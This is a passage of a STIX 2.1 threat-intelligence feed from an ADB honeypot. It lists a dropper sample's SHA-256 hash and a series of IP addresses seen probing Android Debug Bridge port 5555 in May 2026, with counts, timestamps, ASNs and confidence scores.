      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ab7ecbb6a930c75f9497b6bf15c86cb528b382bc28b0cbaf9bfced2b6d56649d.raw; last_seen=2026-05-10T19:06:30.930Z",
      "id": "indicator--1a803e74-0909-4ad2-9a6a-cfdc2dedda61",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ab7ecbb6a930c75f9497b6bf15c86cb528b382bc28b0cbaf9bfced2b6d56649d']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T20:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T21:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-10T20:42:19.000Z | last_seen=2026-05-10T20:43:25.759Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5ebd7a81-3e94-495d-8872-41311d8a7ba7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.126.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:00:09.000Z",
      "valid_until": "2026-06-11T21:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-10T20:42:19.000Z",
          "last_seen": "2026-05-10T20:43:25.759Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-10T22:27:50.000Z | last_seen=2026-05-10T22:28:57.887Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--d5909e65-1e38-48f8-a859-45afbd443551",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:00:03.000Z",
      "valid_until": "2026-06-11T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-10T22:27:50.000Z",
          "last_seen": "2026-05-10T22:28:57.887Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-10T22:12:25.000Z | last_seen=2026-05-10T22:22:27.737Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--4c48a457-5f3e-4398-95fb-cc450942836f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:00:03.000Z",
      "valid_until": "2026-06-11T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-10T22:12:25.000Z",
          "last_seen": "2026-05-10T22:22:27.737Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-10T23:22:38.000Z | last_seen=2026-05-10T23:23:49.302Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--59e11966-28fe-42de-9a19-03b81066df88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:00:10.000Z",
      "valid_until": "2026-06-12T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-10T23:22:38.000Z",
          "last_seen": "2026-05-10T23:23:49.302Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T01:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-11T00:01:29.000Z | last_seen=2026-05-11T00:13:05.368Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8c1d030d-1074-495d-a9ed-e57d52068278",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:00:06.000Z",
      "valid_until": "2026-06-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-11T00:01:29.000Z",
          "last_seen": "2026-05-11T00:13:05.368Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T01:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=124 | first_seen=2026-05-11T00:26:20.000Z | last_seen=2026-05-26T03:11:37.038Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--615c77e1-f080-44e0-9282-f46ecf976f28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:00:06.000Z",
      "valid_until": "2026-06-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 124,
          "first_seen": "2026-05-11T00:26:20.000Z",
          "last_seen": "2026-05-26T03:11:37.038Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T01:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-11T00:28:28.000Z | last_seen=2026-05-11T00:38:44.081Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ab102450-6f31-4c69-ad8d-d359c1a0ae35",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:00:06.000Z",
      "valid_until": "2026-06-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-11T00:28:28.000Z",
          "last_seen": "2026-05-11T00:38:44.081Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T01:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-11T00:25:19.000Z | last_seen=2026-05-28T17:07:00.681Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--0381d58a-c5ef-486d-a139-cc1c9f53ba93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:00:06.000Z",
      "valid_until": "2026-06-12T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-11T00:25:19.000Z",
          "last_seen": "2026-05-28T17:07:00.681Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T02:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=20473; asn_org=The Constant Company, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=44 | first_seen=2026-05-11T01:47:59.000Z | last_seen=2026-05-11T03:28:09.051Z | ports=5555 | cc=US | asn=20473 | org=The Constant Company, LLC",
      "id": "indicator--b7323f3b-ccdc-44b6-8551-e468eff68682",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '144.202.60.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:00:10.000Z",
      "valid_until": "2026-06-12T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 44,
          "first_seen": "2026-05-11T01:47:59.000Z",
          "last_seen": "2026-05-11T03:28:09.051Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20473"
          ],
          "org": [
            "The Constant Company, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T02:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-11T01:28:47.000Z | last_seen=2026-05-11T14:23:43.947Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--df3bda82-f169-46b7-8dcf-b6730b285b52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.198.224.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:00:10.000Z",
      "valid_until": "2026-06-12T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-11T01:28:47.000Z",
          "last_seen": "2026-05-11T14:23:43.947Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-11T02:50:37.000Z | last_seen=2026-05-11T07:59:00.494Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--e9d6d28b-d5a0-49dd-bdce-0bf93c0e6d34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:00:03.000Z",
      "valid_until": "2026-06-12T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-11T02:50:37.000Z",
          "last_seen": "2026-05-11T07:59:00.494Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=MO; asn=61112; asn_org=AKILE LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=188 | first_seen=2026-05-11T02:21:55.000Z | last_seen=2026-05-18T06:01:59.945Z | ports=5555 | cc=MO | asn=61112 | org=AKILE LTD",
      "id": "indicator--467b93d4-41d0-4e89-b3cd-9e39144b97af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.202.247.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:00:03.000Z",
      "valid_until": "2026-06-12T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 188,
          "first_seen": "2026-05-11T02:21:55.000Z",
          "last_seen": "2026-05-18T06:01:59.945Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MO"
          ],
          "asn": [
            "61112"
          ],
          "org": [
            "AKILE LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T04:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-11T03:59:18.000Z | last_seen=2026-05-11T04:09:29.384Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a546a458-0790-42fb-807e-976f8a79d761",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:00:11.000Z",
      "valid_until": "2026-06-12T04:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-11T03:59:18.000Z",
          "last_seen": "2026-05-11T04:09:29.384Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T04:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-11T03:58:00.000Z | last_seen=2026-05-11T03:59:09.266Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c9469108-649b-4089-ac01-8aec7dbb7d18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:00:11.000Z",
      "valid_until": "2026-06-12T04:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-11T03:58:00.000Z",
          "last_seen": "2026-05-11T03:59:09.266Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-11T04:04:16.000Z | last_seen=2026-05-11T04:05:23.507Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--309f1ca7-1bd1-41df-9dd4-7abdbaf47b25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.60.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:00:03.000Z",
      "valid_until": "2026-06-12T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-11T04:04:16.000Z",
          "last_seen": "2026-05-11T04:05:23.507Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T07:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=DE; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=58 | first_seen=2026-05-11T06:33:09.000Z | last_seen=2026-05-11T06:35:26.173Z | ports=5555 | cc=DE | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--8a6fe3c3-a241-42b9-b876-fa09e69fc291",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.209.65.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:00:01.000Z",
      "valid_until": "2026-06-12T07:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 58,
